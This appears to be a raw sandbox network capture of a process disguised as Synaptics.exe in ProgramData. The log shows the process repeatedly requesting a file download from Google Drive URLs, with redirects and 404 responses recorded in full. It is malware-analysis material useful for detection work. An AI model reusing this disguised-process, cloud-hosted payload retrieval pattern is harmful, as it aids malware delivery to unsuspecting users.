Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49732	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:16 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Gaj4_HTJBUqeqZHTN1lX6PccM4VQKTn5lQBYkf93aylycITMtrCpfjSMNQCPtP7LM5PqE-rFb39v2vHmBoWBiMkES5VufO4Evfh4ZEUxwJaW5ooBdZeIG_A5YQ9185SbE5jm0CeeGb-YEWfNHTNn7PnB-x0rv4Wv0f6zX32En2iq-Sl6qO4kUuc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49730	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:16 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49737	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:17 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:20:17 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:17 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-AgwJe32tFS1IGO9835EgZQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49736	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:17 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:20:17 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:17 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-3ovCdpqWxlvM_pxLeRAqXA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49743	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:18 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:18 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6uOBySCcCYwy5lh4g3zaqO8RcXt202P6YOKRxEa1qKppKoJgK-Y4cTvr3EszUaDrpo Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:18 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-PgFCfevu7MAFAEvSxBVjug' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:18 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:20:18 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 53 44 4b 35 66 38 36 72 56 39 6f 2d 78 48 45 71 31 34 73 41 44 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="SDK5f86rV9o-xHEq14sADA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:20:18 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49744	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:18 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:20:18 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:18 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-QcmtB17GTJ8GX1MJ9sc4jg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49746	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:18 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:18 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6v5fjTu1Fm3bqm7EiztHK8mbgXjrHlt7-0l5eHqH92J0Q1rxigwSRmH1VJ9C4ybgu- Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:18 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-yqGUs3yA4yDcaSZ_lXm_jQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:18 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:20:18 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 79 66 2d 43 30 56 33 6d 63 6b 67 30 47 6a 74 63 30 79 31 6c 79 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="yf-C0V3mckg0Gjtc0y1lyw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:20:18 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49745	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:18 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:20:18 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:18 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-hvZ1vmSdAdYtL4pc9J2Ufw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49749	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:19 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:20:19 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:19 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-oMJG5lBABHcj69cb1kXhpQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49750	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:19 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:20:19 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:19 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-yUaqf7PPMtrox8xw17zXHg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49751	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:19 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:19 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC55jM_8jxpQuQB2YK2Kb4K52g77yJ_qwnQJlHXXM0z6VqQsvz33YD-LOzpckUPUER79 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:19 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-4qlEuJQNKDQe09w-n2AXUA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:19 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:20:19 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6f 44 4a 6d 6e 57 77 62 44 61 42 47 79 75 67 30 72 65 45 37 31 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="oDJmnWwbDaBGyug0reE71A">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:20:19 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	49752	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:19 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
